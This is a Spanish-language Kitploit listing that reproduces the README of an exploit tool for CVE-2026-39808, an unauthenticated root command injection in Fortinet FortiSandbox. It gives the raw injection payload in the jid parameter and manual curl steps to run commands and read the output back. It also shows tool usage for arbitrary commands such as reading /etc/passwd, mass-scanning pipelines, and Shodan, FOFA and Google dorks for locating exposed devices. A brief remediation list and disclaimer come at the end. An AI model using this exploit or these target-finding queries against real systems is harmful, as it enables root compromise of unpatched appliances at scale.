Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
FortiSandbox-RCE-Exploit-CVE-2026-39808 — Escáner de RCE no autenticado para FortiSandbox CVE-2026-39808 con verificación basada en canarios, ejecución de comandos e integración en pipelines para escaneo masivo. | Kitploit
Herramientas/GitHubGitHub/ynsmroztas/fortisandbox-rce-exploit-cve-2026-39808
ReconocimientoEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y Control
GitHubynsmroztas/fortisandbox-rce-exploit-cve-2026-39808

FortiSandbox-RCE-Exploit-CVE-2026-39808

Escáner de RCE no autenticado para FortiSandbox CVE-2026-39808 con verificación basada en canarios, ejecución de comandos e integración en pipelines para escaneo masivo.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
268hace 4 mesesRevisado por Kitploit
Compartir

Escáner RCE FortiSandbox — CVE-2026-39808

CVE-2026-39808 FortiSandbox RCE

CVE-2026-39808 CVSS 9.8 Python 3.7+ No dependencies MIT License

Inyección de comandos del sistema operativo sin autenticación como root en Fortinet FortiSandbox

Vulnerabilidad • Instalación • Uso • Cómo funciona • Pipeline • Dorks de Shodan • Aviso legal


Vulnerabilidad

CVE-2026-39808 es una vulnerabilidad crítica de inyección de comandos del sistema operativo sin autenticación en Fortinet FortiSandbox. El endpoint de API /fortisandbox/job-detail/tracer-behavior no sanea el parámetro jid, lo que permite a un atacante inyectar comandos arbitrarios del sistema operativo que se ejecutan como root — sin necesidad de autenticación.

Causa raíz

El parámetro jid en el endpoint tracer-behavior se pasa directamente a un comando del sistema sin saneamiento. Usando caracteres de tubería (|), un atacante puede salir del contexto de comando previsto y ejecutar comandos arbitrarios:

root@kitploit:~
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

La salida se escribe en /web/ng/out.txt, que es accesible en /ng/out.txt en el servidor web — proporcionando un mecanismo conveniente de lectura para la inyección de comandos a ciegas.


Instalación

Cero dependencias. Solo biblioteca estándar de Python 3.7+.

root@kitploit:~
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

Uso

Escaneo básico

root@kitploit:~
# Verificar si un objetivo es vulnerable (usa detección basada en canarios)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

Ejecutar comando

root@kitploit:~
# Ejecutar un comando específico en el objetivo
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

Solo verificar (sin ejecución de comandos)

root@kitploit:~
# Solo comprobar si es vulnerable, no ejecutar --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only

Con proxy Burp

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

Informe JSON

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com -o report.json

Modo pipeline (escaneo masivo)

root@kitploit:~
# Desde una lista de URLs
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → escáner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → escáner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

Todas las opciones

root@kitploit:~
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           URL del objetivo
  --stdin                 Leer URLs desde stdin (modo pipeline)
  --cmd CMD               Comando del sistema operativo a ejecutar (por defecto: id)
  --verify-only           Solo verificar la vulnerabilidad, no ejecutar --cmd
  --proxy PROXY           Proxy HTTP (p. ej., http://127.0.0.1:8080)
  --timeout TIMEOUT       Tiempo de espera HTTP en segundos (por defecto: 15)
  --rate-limit RATE_LIMIT Retraso entre objetivos en ms (por defecto: 0)
  -o, --output FILE       Archivo de informe JSON de salida
  --no-banner             Suprimir el banner

Cómo funciona

El escáner utiliza un proceso de verificación de 5 pasos con prevención estricta de falsos positivos:

root@kitploit:~
Paso 1  →  Detectar FortiSandbox (huella de título/cabecera)
Paso 2  →  Comprobar si el endpoint vulnerable existe
Paso 3  →  Inyectar cadena canario única mediante inyección de comandos
Paso 4  →  Leer /ng/out.txt y verificar el canario (validación estricta de texto plano)
Paso 5  →  Ejecutar el comando del usuario + limpieza

Prevención de falsos positivos

El escáner implementa múltiples capas de validación para eliminar falsos positivos:

  • Detección de HTML — Si la URL de salida devuelve una página HTML (catch-all de Angular SPA), se marca como falso positivo
  • Validación de Content-Type — La salida del comando no debe ser text/html
  • Aislamiento del canario — El canario debe aparecer en texto plano limpio, no incrustado en etiquetas HTML
  • Regex de salida de id — Coincidencia estricta de patrón uid=\d+(\w+) con comprobación de tamaño (<1000 bytes)
  • Normalización de URL base — Elimina automáticamente el sufijo /ng para evitar problemas de doble ruta

Ejemplo de salida

Objetivo vulnerable

root@kitploit:~
  ╔══════════════════════════════════════════════════════════╗
  ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
  ║  Inyección de comandos sin autenticación (root)         ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Objetivo: https://fortisandbox.example.com               │
  └──────────────────────────────────────────────────────────┘
  ✓ ¡FortiSandbox detectado!
  ▸ Comprobando endpoint: /fortisandbox/job-detail/tracer-behavior
  ▸ Estado del endpoint: 200 | Content-Type: text/html
  ▸ Inyectando canario: mitsec_a8k3m2x1
  ▸ Leyendo salida: https://fortisandbox.example.com/ng/out.txt
   CRITICAL  🔥 ¡VULNERABLE — CVE-2026-39808 CONFIRMADO!
   CRITICAL  Objetivo: https://fortisandbox.example.com
  ✓ Canario 'mitsec_a8k3m2x1' verificado en la salida (texto plano limpio)

  ──────────────────────────────────────────────────────────
    Salida del comando: id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ Archivo de salida limpiado

No vulnerable

root@kitploit:~
  ┌──────────────────────────────────────────────────────────┐
  │ Objetivo: https://patched.example.com                    │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox detectado!
  ▸ Comprobando endpoint: /fortisandbox/job-detail/tracer-behavior
  ✗ El endpoint devolvió 404 — no vulnerable o parcheado

Falso positivo gestionado

root@kitploit:~
  ▸ Leyendo salida: https://target.com/ng/out.txt
  ⚠ La URL de salida devuelve una página HTML — esto es el Angular SPA, NO la salida del comando
  ▸ Content-Type: text/html
  ▸ Esto es un falso positivo — /ng/out.txt sirve el index.html del SPA
  ▸ El objetivo no parece vulnerable

Formato de informe JSON

root@kitploit:~
{
  "scanner": "fortisandbox_rce",
  "version": "1.0",
  "cve": "CVE-2026-39808",
  "scan_date": "2026-04-22T10:30:00+00:00",
  "total_targets": 5,
  "vulnerable": 1,
  "results": [
    {
      "target": "https://fortisandbox.example.com",
      "vulnerable": true,
      "details": {
        "is_fortisandbox": true,
        "server": "Apache",
        "canary": "mitsec_a8k3m2x1",
        "verification": "canary_match",
        "command": "id",
        "output": "uid=0(root) gid=0(root) groups=0(root)"
      },
      "timestamp": "2026-04-22T10:30:00+00:00"
    }
  ]
}

Integración con pipeline

El escáner envía las URLs vulnerables a stdout (toda la demás salida va a stderr), lo que lo hace totalmente compatible con pipelines:

root@kitploit:~
# Encontrar objetivos vulnerables y guardarlos
subfinder -d corp.com -silent | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
  tee vulnerable_fortisandbox.txt

# Encadenar con nuclei para más pruebas
cat vulnerable_fortisandbox.txt | nuclei -t cves/

# Escaneo masivo silencioso con limitación de velocidad
cat shodan_results.txt | \
  python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json

Dorks de Shodan

root@kitploit:~
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778

Censys:

root@kitploit:~
services.http.response.html_title:"FortiSandbox"

FOFA:

root@kitploit:~
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"

Dork de Google:

root@kitploit:~
intitle:"FortiSandbox - Please login"

Verificación manual

Si prefieres verificar manualmente con curl:

root@kitploit:~
# Paso 1: Inyectar comando
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
  --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# Paso 2: Leer la salida
curl -s -k "https://TARGET/ng/out.txt"
# Esperado: uid=0(root) gid=0(root) groups=0(root)

Remediación

  • Actualiza FortiSandbox a la versión 4.4.9 o superior
  • Si no es posible parchear de inmediato:
    • Restringe el acceso de red a la interfaz de gestión de FortiSandbox
    • Usa reglas de firewall para bloquear el acceso externo a los endpoints /fortisandbox/job-detail/
    • Supervisa los registros en busca de valores sospechosos del parámetro jid que contengan caracteres de tubería

Cronología

FechaEvento
Noviembre de 2025Vulnerabilidad descubierta
Abril de 2026CVE-2026-39808 publicado
Abril de 2026Parcheado en FortiSandbox 4.4.9

Referencias

  • Aviso PSIRT de Fortinet — FG-IR-25-325
  • CVE-2026-39808 — NVD

Aviso legal

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Obtén siempre la autorización escrita adecuada antes de realizar pruebas. El autor no asume ninguna responsabilidad por el mal uso de esta herramienta.


Autor

mitsec — @ynsmroztas

  • Portafolio: ynsmroztas.github.io
  • Más de 100 Salones de la Fama | Más de 2.430 vulnerabilidades divulgadas | Más de 1.100 hallazgos críticos

Si esta herramienta te ayudó, considera darle una ⭐

Descargar herramienta
DetalleValor
ID CVECVE-2026-39808
Puntuación CVSS9.8 (Crítica)
Vector de ataqueRed
AutenticaciónNinguna
PrivilegiosRoot
Versiones afectadasFortiSandbox < 4.4.9
Corregido en4.4.9 y superiores
AvisoFG-IR-25-325